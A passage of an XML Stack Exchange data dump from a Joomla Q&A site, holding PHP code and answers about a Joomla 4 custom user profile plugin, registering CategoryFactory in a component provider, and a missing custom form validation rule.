? 'required' : '', 'profile');&#xA;                } else {&#xA;                    $form-&amp;gt;removeField($field, 'profile');&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        // Drop the profile form entirely if there aren't any fields to display.&#xA;        $remainingfields = $form-&amp;gt;getGroup('profile');&#xA;&#xA;        if (!count($remainingfields)) {&#xA;            $form-&amp;gt;removeGroup('profile');&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method is called before user data is stored in the database&#xA;     *&#xA;     * @param   array    $user   Holds the old user data.&#xA;     * @param   boolean  $isnew  True if a new user is stored.&#xA;     * @param   array    $data   Holds the new user data.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   3.1&#xA;     * @throws  InvalidArgumentException on invalid date.&#xA;     */&#xA;    public function onUserBeforeSave($user, $isnew, $data)&#xA;    {&#xA;        // Check that the date is valid.&#xA;        if (!empty($data['profile']['dob'])) {&#xA;            try {&#xA;                $date = new Date($data['profile']['dob']);&#xA;                $this-&amp;gt;date = $date-&amp;gt;format('Y-m-d H:i:s');&#xA;            } catch (Exception $e) {&#xA;                // Throw an exception if date is not valid.&#xA;                throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB'));&#xA;            }&#xA;&#xA;            if (Date::getInstance('now') &amp;lt; $date) {&#xA;                // Throw an exception if dob is greater than now.&#xA;                throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB_FUTURE_DATE'));&#xA;            }&#xA;        }&#xA;&#xA;        // Check that the tos is checked if required ie only in registration from frontend.&#xA;        $task       = $this-&amp;gt;app-&amp;gt;input-&amp;gt;getCmd('task');&#xA;        $option     = $this-&amp;gt;app-&amp;gt;input-&amp;gt;getCmd('option');&#xA;        $tosEnabled = ($this-&amp;gt;params-&amp;gt;get('register-require_tos', 0) == 2);&#xA;&#xA;        // Check that the tos is checked.&#xA;        if ($task === 'register' &amp;amp;&amp;amp; $tosEnabled &amp;amp;&amp;amp; $option === 'com_users' &amp;amp;&amp;amp; !$data['profile']['tos']) {&#xA;            throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_FIELD_TOS_DESC_SITE'));&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Saves user profile data&#xA;     *&#xA;     * @param   array    $data    entered user data&#xA;     * @param   boolean  $isNew   true if this is a new user&#xA;     * @param   boolean  $result  true if saving the user worked&#xA;     * @param   string   $error   error message&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    public function onUserAfterSave($data, $isNew, $result, $error): void&#xA;    {&#xA;        $userId = ArrayHelper::getValue($data, 'id', 0, 'int');&#xA;&#xA;        if ($userId &amp;amp;&amp;amp; $result &amp;amp;&amp;amp; isset($data['profile']) &amp;amp;&amp;amp; count($data['profile'])) {&#xA;            $db = $this-&amp;gt;db;&#xA;&#xA;            // Sanitize the date&#xA;            if (!empty($data['profile']['dob'])) {&#xA;                $data['profile']['dob'] = $this-&amp;gt;date;&#xA;            }&#xA;&#xA;            $keys = array_keys($data['profile']);&#xA;&#xA;            foreach ($keys as &amp;amp;$key) {&#xA;                $key = 'profile.' . $key;&#xA;            }&#xA;&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;delete($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                -&amp;gt;whereIn($db-&amp;gt;quoteName('profile_key'), $keys, ParameterType::STRING)&#xA;                -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;&#xA;            $query-&amp;gt;clear()&#xA;                -&amp;gt;select($db-&amp;gt;quoteName('ordering'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $usedOrdering = $db-&amp;gt;loadColumn();&#xA;&#xA;            $order = 1;&#xA;            $query-&amp;gt;clear()&#xA;                -&amp;gt;insert($db-&amp;gt;quoteName('#__user_profiles'));&#xA;&#xA;            foreach ($data['profile'] as $k =&amp;gt; $v) {&#xA;                while (in_array($order, $usedOrdering)) {&#xA;                    $order++;&#xA;                }&#xA;&#xA;                $query-&amp;gt;values(&#xA;                    implode(&#xA;                        ',',&#xA;                        $query-&amp;gt;bindArray(&#xA;                            [&#xA;                                $userId,&#xA;                                'profile.' . $k,&#xA;                                json_encode($v),&#xA;                                $order++,&#xA;                            ],&#xA;                            [&#xA;                                ParameterType::INTEGER,&#xA;                                ParameterType::STRING,&#xA;                                ParameterType::STRING,&#xA;                                ParameterType::INTEGER,&#xA;                            ]&#xA;                        )&#xA;                    )&#xA;                );&#xA;            }&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Remove all user profile information for the given user ID&#xA;     *&#xA;     * Method is called after user data is deleted from the database&#xA;     *&#xA;     * @param   array    $user     Holds the user data&#xA;     * @param   boolean  $success  True if user was successfully stored in the database&#xA;     * @param   string   $msg      Message&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    public function onUserAfterDelete($user, $success, $msg): void&#xA;    {&#xA;        if (!$success) {&#xA;            return;&#xA;        }&#xA;&#xA;        $userId = ArrayHelper::getValue($user, 'id', 0, 'int');&#xA;&#xA;        if ($userId) {&#xA;            $db = $this-&amp;gt;db;&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;delete($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE ' . $db-&amp;gt;quote('profile.%'))&#xA;                -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-12-24T01:28:18.720" Title="Joomla 4 - Profile Plugin" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32660" PostTypeId="2" ParentId="32659" CreationDate="2022-12-24T01:28:18.720" Score="3" Body="&lt;p&gt;The profile key in the database should be the same as your plugin name, ie PlgUserCustomProfile means that your key field should be like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($data['customprofile'] as $k =&amp;gt; $v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So perhaps try this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  User.customprofile&#xA; *&#xA; * @copyright   (C) 2009 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA;&#xA; * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace&#xA; */&#xA;&#xA;use Joomla\CMS\Date\Date;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\String\PunycodeHelper;&#xA;use Joomla\Database\ParameterType;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;// phpcs:disable PSR1.Files.SideEffects&#xA;\defined('_JEXEC') or die;&#xA;// phpcs:enable PSR1.Files.SideEffects&#xA;&#xA;/**&#xA; * An example custom customprofile plugin.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class PlgUserCustomProfile extends CMSPlugin&#xA;{&#xA;    /**&#xA;     * @var    \Joomla\CMS\Application\CMSApplication&#xA;     *&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected $app;&#xA;&#xA;    /**&#xA;     * @var    \Joomla\Database\DatabaseDriver&#xA;     *&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected $db;&#xA;&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     *&#xA;     * @var    boolean&#xA;     *&#xA;     * @since  3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Date of birth.&#xA;     *&#xA;     * @var    string&#xA;     *&#xA;     * @since  3.1&#xA;     */&#xA;    private $date = '';&#xA;&#xA;    /**&#xA;     * Runs on content preparation&#xA;     *&#xA;     * @param   string  $context  The context for the data&#xA;     * @param   object  $data     An object containing the data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function onContentPrepareData($context, $data)&#xA;    {&#xA;        // Check we are manipulating a valid form.&#xA;        if (!in_array($context, ['com_users.profile', 'com_users.user', 'com_users.registration'])) {&#xA;            return true;&#xA;        }&#xA;&#xA;        if (is_object($data)) {&#xA;            $userId = $data-&amp;gt;id ?? 0;&#xA;&#xA;            if (!isset($data-&amp;gt;customprofile) &amp;amp;&amp;amp; $userId &amp;gt; 0) {&#xA;                // Load the profile data from the database.&#xA;                $db    = $this-&amp;gt;db;&#xA;                $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select(&#xA;                        [&#xA;                            $db-&amp;gt;quoteName('profile_key'),&#xA;                            $db-&amp;gt;quoteName('profile_value'),&#xA;                        ]&#xA;                    )&#xA;                    -&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                    -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                    -&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE ' . $db-&amp;gt;quote('customprofile.%'))&#xA;                    -&amp;gt;order($db-&amp;gt;quoteName('ordering'))&#xA;                    -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;&#xA;                $db-&amp;gt;setQuery($query);&#xA;                $results = $db-&amp;gt;loadRowList();&#xA;&#xA;                // Merge the profile data.&#xA;                $data-&amp;gt;customprofile = [];&#xA;&#xA;                foreach ($results as $v) {&#xA;                    $k = str_replace('customprofile.', '', $v[0]);&#xA;                    $data-&amp;gt;customprofile[$k] = json_decode($v[1], true);&#xA;&#xA;                    if ($data-&amp;gt;customprofile[$k] === null) {&#xA;                        $data-&amp;gt;customprofile[$k] = $v[1];&#xA;                    }&#xA;                }&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.url')) {&#xA;                HTMLHelper::register('users.url', [__CLASS__, 'url']);&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.calendar')) {&#xA;                HTMLHelper::register('users.calendar', [__CLASS__, 'calendar']);&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.tos')) {&#xA;                HTMLHelper::register('users.tos', [__CLASS__, 'tos']);&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.dob')) {&#xA;                HTMLHelper::register('users.dob', [__CLASS__, 'dob']);&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns an anchor tag generated from a given value&#xA;     *&#xA;     * @param   string  $value  URL to use&#xA;     *&#xA;     * @return  mixed|string&#xA;     */&#xA;    public static function url($value)&#xA;    {&#xA;        if (empty($value)) {&#xA;            return HTMLHelper::_('users.value', $value);&#xA;        } else {&#xA;            // Convert website URL to utf8 for display&#xA;            $value = PunycodeHelper::urlToUTF8(htmlspecialchars($value));&#xA;&#xA;            if (strpos($value, 'http') === 0) {&#xA;                return '&amp;lt;a href=&amp;quot;' . $value . '&amp;quot;&amp;gt;' . $value . '&amp;lt;/a&amp;gt;';&#xA;            } else {&#xA;                return '&amp;lt;a href=&amp;quot;http://' . $value . '&amp;quot;&amp;gt;' . $value . '&amp;lt;/a&amp;gt;';&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns html markup showing a date picker&#xA;     *&#xA;     * @param   string  $value  valid date string&#xA;     *&#xA;     * @return  mixed&#xA;     */&#xA;    public static function calendar($value)&#xA;    {&#xA;        if (empty($value)) {&#xA;            return HTMLHelper::_('users.value', $value);&#xA;        } else {&#xA;            return HTMLHelper::_('date', $value, null, null);&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns the date of birth formatted and calculated using server timezone.&#xA;     *&#xA;     * @param   string  $value  valid date string&#xA;     *&#xA;     * @return  mixed&#xA;     */&#xA;    public static function dob($value)&#xA;    {&#xA;        if (!$value) {&#xA;            return '';&#xA;        }&#xA;&#xA;        return HTMLHelper::_('date', $value, Text::_('DATE_FORMAT_LC1'), false);&#xA;    }&#xA;&#xA;    /**&#xA;     * Return the translated strings yes or no depending on the value&#xA;     *&#xA;     * @param   boolean  $value  input value&#xA;     *&#xA;     * @return  string&#xA;     */&#xA;    public static function tos($value)&#xA;    {&#xA;        if ($value) {&#xA;            return Text::_('JYES');&#xA;        } else {&#xA;            return Text::_('JNO');&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Adds additional fields to the user editing form&#xA;     *&#xA;     * @param   Form   $form  The form to be altered.&#xA;     * @param   mixed  $data  The associated data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function onContentPrepareForm(Form $form, $data)&#xA;    {&#xA;        // Check we are manipulating a valid form.&#xA;        $name = $form-&amp;gt;getName();&#xA;&#xA;        if (!in_array($name, ['com_users.user', 'com_users.profile', 'com_users.registration'])) {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Add the registration fields to the form.&#xA;        FormHelper::addFieldPrefix('Joomla\\Plugin\\User\\Profile\\Field');&#xA;        FormHelper::addFormPath(__DIR__ . '/forms');&#xA;        $form-&amp;gt;loadFile('customprofile');&#xA;&#xA;        $fields = [&#xA;            'address1',&#xA;            'address2',&#xA;            'city',&#xA;            'region',&#xA;            'country',&#xA;            'postal_code',&#xA;            'phone',&#xA;            'website',&#xA;            'favoritebook',&#xA;            'aboutme',&#xA;            'dob',&#xA;            'tos',&#xA;        ];&#xA;&#xA;        $tosArticle = $this-&amp;gt;params-&amp;gt;get('register_tos_article');&#xA;        $tosEnabled = $this-&amp;gt;params-&amp;gt;get('register-require_tos', 0);&#xA;&#xA;        // We need to be in the registration form and field needs to be enabled&#xA;        if ($name !== 'com_users.registration' || !$tosEnabled) {&#xA;            // We only want the TOS in the registration form&#xA;            $form-&amp;gt;removeField('tos', 'customprofile');&#xA;        } else {&#xA;            // Push the TOS article ID into the TOS field.&#xA;            $form-&amp;gt;setFieldAttribute('tos', 'article', $tosArticle, 'customprofile');&#xA;        }&#xA;&#xA;        foreach ($fields as $field) {&#xA;            // Case using the users manager in admin&#xA;            if ($name === 'com_users.user') {&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0) {&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) ? 'required' : '', 'customprofile');&#xA;                } elseif (&#xA;                    // Remove the field if it is disabled in registration and customprofile&#xA;                    $this-&amp;gt;params-&amp;gt;get('register-require_' . $field, 1) == 0&#xA;                    &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) == 0&#xA;                ) {&#xA;                    $form-&amp;gt;removeField($field, 'customprofile');&#xA;                }&#xA;            } elseif ($name === 'com_users.registration') {&#xA;                // Case registration&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field, 1) &amp;gt; 0) {&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field) == 2) ? 'required' : '', 'customprofile');&#xA;                } else {&#xA;                    $form-&amp;gt;removeField($field, 'customprofile');&#xA;                }&#xA;            } elseif ($name === 'com_users.profile') {&#xA;                // Case profile in site or admin&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0) {&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) ? 'required' : '', 'customprofile');&#xA;                } else {&#xA;                    $form-&amp;gt;removeField($field, 'customprofile');&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        // Drop the customprofile form entirely if there aren't any fields to display.&#xA;        $remainingfields = $form-&amp;gt;getGroup('customprofile');&#xA;&#xA;        if (!count($remainingfields)) {&#xA;            $form-&amp;gt;removeGroup('customprofile');&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method is called before user data is stored in the database&#xA;     *&#xA;     * @param   array    $user   Holds the old user data.&#xA;     * @param   boolean  $isnew  True if a new user is stored.&#xA;     * @param   array    $data   Holds the new user data.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   3.1&#xA;     * @throws  InvalidArgumentException on invalid date.&#xA;     */&#xA;    public function onUserBeforeSave($user, $isnew, $data)&#xA;    {&#xA;        // Check that the date is valid.&#xA;        if (!empty($data['customprofile']['dob'])) {&#xA;            try {&#xA;                $date = new Date($data['customprofile']['dob']);&#xA;                $this-&amp;gt;date = $date-&amp;gt;format('Y-m-d H:i:s');&#xA;            } catch (Exception $e) {&#xA;                // Throw an exception if date is not valid.&#xA;                throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB'));&#xA;            }&#xA;&#xA;            if (Date::getInstance('now') &amp;lt; $date) {&#xA;                // Throw an exception if dob is greater than now.&#xA;                throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB_FUTURE_DATE'));&#xA;            }&#xA;        }&#xA;&#xA;        // Check that the tos is checked if required ie only in registration from frontend.&#xA;        $task       = $this-&amp;gt;app-&amp;gt;input-&amp;gt;getCmd('task');&#xA;        $option     = $this-&amp;gt;app-&amp;gt;input-&amp;gt;getCmd('option');&#xA;        $tosEnabled = ($this-&amp;gt;params-&amp;gt;get('register-require_tos', 0) == 2);&#xA;&#xA;        // Check that the tos is checked.&#xA;        if ($task === 'register' &amp;amp;&amp;amp; $tosEnabled &amp;amp;&amp;amp; $option === 'com_users' &amp;amp;&amp;amp; !$data['customprofile']['tos']) {&#xA;            throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_FIELD_TOS_DESC_SITE'));&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Saves user customprofile data&#xA;     *&#xA;     * @param   array    $data    entered user data&#xA;     * @param   boolean  $isNew   true if this is a new user&#xA;     * @param   boolean  $result  true if saving the user worked&#xA;     * @param   string   $error   error message&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    public function onUserAfterSave($data, $isNew, $result, $error): void&#xA;    {&#xA;        $userId = ArrayHelper::getValue($data, 'id', 0, 'int');&#xA;&#xA;        if ($userId &amp;amp;&amp;amp; $result &amp;amp;&amp;amp; isset($data['customprofile']) &amp;amp;&amp;amp; count($data['customprofile'])) {&#xA;            $db = $this-&amp;gt;db;&#xA;&#xA;            // Sanitize the date&#xA;            if (!empty($data['customprofile']['dob'])) {&#xA;                $data['customprofile']['dob'] = $this-&amp;gt;date;&#xA;            }&#xA;&#xA;            $keys = array_keys($data['customprofile']);&#xA;&#xA;            foreach ($keys as &amp;amp;$key) {&#xA;                $key = 'customprofile.' . $key;&#xA;            }&#xA;&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;delete($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                -&amp;gt;whereIn($db-&amp;gt;quoteName('profile_key'), $keys, ParameterType::STRING)&#xA;                -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;&#xA;            $query-&amp;gt;clear()&#xA;                -&amp;gt;select($db-&amp;gt;quoteName('ordering'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $usedOrdering = $db-&amp;gt;loadColumn();&#xA;&#xA;            $order = 1;&#xA;            $query-&amp;gt;clear()&#xA;                -&amp;gt;insert($db-&amp;gt;quoteName('#__user_profiles'));&#xA;&#xA;            foreach ($data['customprofile'] as $k =&amp;gt; $v) {&#xA;                while (in_array($order, $usedOrdering)) {&#xA;                    $order++;&#xA;                }&#xA;&#xA;                $query-&amp;gt;values(&#xA;                    implode(&#xA;                        ',',&#xA;                        $query-&amp;gt;bindArray(&#xA;                            [&#xA;                                $userId,&#xA;                                'customprofile.' . $k,&#xA;                                json_encode($v),&#xA;                                $order++,&#xA;                            ],&#xA;                            [&#xA;                                ParameterType::INTEGER,&#xA;                                ParameterType::STRING,&#xA;                                ParameterType::STRING,&#xA;                                ParameterType::INTEGER,&#xA;                            ]&#xA;                        )&#xA;                    )&#xA;                );&#xA;            }&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Remove all user customprofile information for the given user ID&#xA;     *&#xA;     * Method is called after user data is deleted from the database&#xA;     *&#xA;     * @param   array    $user     Holds the user data&#xA;     * @param   boolean  $success  True if user was successfully stored in the database&#xA;     * @param   string   $msg      Message&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    public function onUserAfterDelete($user, $success, $msg): void&#xA;    {&#xA;        if (!$success) {&#xA;            return;&#xA;        }&#xA;&#xA;        $userId = ArrayHelper::getValue($user, 'id', 0, 'int');&#xA;&#xA;        if ($userId) {&#xA;            $db = $this-&amp;gt;db;&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;delete($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE ' . $db-&amp;gt;quote('customprofile.%'))&#xA;                -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2022-12-24T01:28:18.720" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32661" PostTypeId="2" ParentId="32617" CreationDate="2022-12-25T11:03:50.897" Score="1" Body="&lt;p&gt;To use categories in your component, you need to register the 'CategoryFactory' in the 'provider' file&lt;/p&gt;&#xA;&lt;p&gt;Example from administrator/component/com_content/services/provider.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;set(AssociationExtensionInterface::class, new AssociationsHelper());&#xA;        $container-&amp;gt;registerServiceProvider(new CategoryFactory('\\Joomla\\Component\\Content'));&#xA;        $container-&amp;gt;registerServiceProvider(new MVCFactory('\\Joomla\\Component\\Content'));&#xA;        $container-&amp;gt;registerServiceProvider(new ComponentDispatcherFactory('\\Joomla\\Component\\Content'));&#xA;        $container-&amp;gt;registerServiceProvider(new RouterFactory('\\Joomla\\Component\\Content'));&#xA;&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            function (Container $container) {&#xA;                $component = new ContentComponent($container-&amp;gt;get(ComponentDispatcherFactoryInterface::class));&#xA;&#xA;                $component-&amp;gt;setRegistry($container-&amp;gt;get(Registry::class));&#xA;                $component-&amp;gt;setMVCFactory($container-&amp;gt;get(MVCFactoryInterface::class));&#xA;                $component-&amp;gt;setCategoryFactory($container-&amp;gt;get(CategoryFactoryInterface::class));&#xA;                $component-&amp;gt;setAssociationExtension($container-&amp;gt;get(AssociationExtensionInterface::class));&#xA;                $component-&amp;gt;setRouterFactory($container-&amp;gt;get(RouterFactoryInterface::class));&#xA;&#xA;                return $component;&#xA;            }&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also take a look at the file: administrator/component/com_content/src/Extension/ContentComponent.php&lt;/p&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2022-12-25T11:03:50.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32662" PostTypeId="1" AcceptedAnswerId="32670" CreationDate="2022-12-26T06:28:36.167" Score="2" ViewCount="334" Body="&lt;p&gt;Trying to create a custom validation rule in frontend, always get the same error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Joomla\CMS\Form\Field\TextField::validate() rule &lt;code&gt;Espaciocheck&lt;/code&gt;&#xA;missing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Please, will the path to the file be wrong? What could be missing?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;com_aaprueba/forms/espacio.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form addfieldprefix=&amp;quot;Sfi\Component\Aaprueba\Site\Field&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;fieldset addruleprefix=&amp;quot;Sfi\Aaprueba\Site\Rule&amp;quot;&amp;gt;&#xA;    &#xA;        &amp;lt;field &#xA;            name=&amp;quot;espacio&amp;quot; &#xA;            type=&amp;quot;text&amp;quot; &#xA;            label=&amp;quot;COM_AAPRUEBA_FIELD_ESPACIO&amp;quot; &#xA;            description=&amp;quot;COM_AAPRUEBA_FIELD_ESPACIO_DESC&amp;quot; &#xA;            required=&amp;quot;true&amp;quot;&#xA;            validate=&amp;quot;Espaciocheck&amp;quot;&#xA;            /&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;com_aaprueba/tmpl/espacio/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?= Route::_('index.php?option=com_aaprueba&amp;amp;view=espacio&amp;amp;id='.(int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;adminForm&amp;quot; class=&amp;quot;form-validate&amp;quot;&amp;gt;&#xA;...&#xA;&amp;lt;?= $this-&amp;gt;form-&amp;gt;renderField('espacio'); ?&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;com_aaprueba/src/View/Espacio/HtmlView.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Sfi\Component\Aaprueba\Site\View\Espacio;&#xA;...&#xA;use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\HTML\Helpers\Behavior;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;...&#xA;&#xA;class HtmlView extends BaseHtmlView&#xA;{&#xA;...&#xA;    public function display($tpl = null)&#xA;    {&#xA;        Behavior::formvalidator();&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;com_aaprueba/src/Rule/EspaciocheckRule.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Sfi\Component\Aaprueba\Site\Rule;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Form\FormRule;&#xA;&#xA;class EspaciocheckRule extends FormRule&#xA;{&#xA;    public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)&#xA;    {&#xA;        // Logic after working test&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-01-01T09:16:04.967" Title="J4. Custom frontend server side form validation" Tags="|joomla-4.x|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
